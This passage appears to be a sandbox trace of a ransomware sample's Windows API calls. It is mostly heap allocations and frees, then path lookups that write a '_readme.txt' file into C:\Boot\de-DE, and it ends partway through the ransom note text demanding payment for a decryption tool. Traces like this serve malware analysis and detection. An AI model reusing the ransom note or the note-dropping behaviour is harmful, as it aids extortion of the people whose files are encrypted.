HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.478] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.478] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.478] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.478] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.478] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.478] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.478] PathFindFileNameW (pszPath="") returned="" [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.478] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.478] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.478] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.479] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.479] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0124.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.479] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.479] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0124.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.482] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 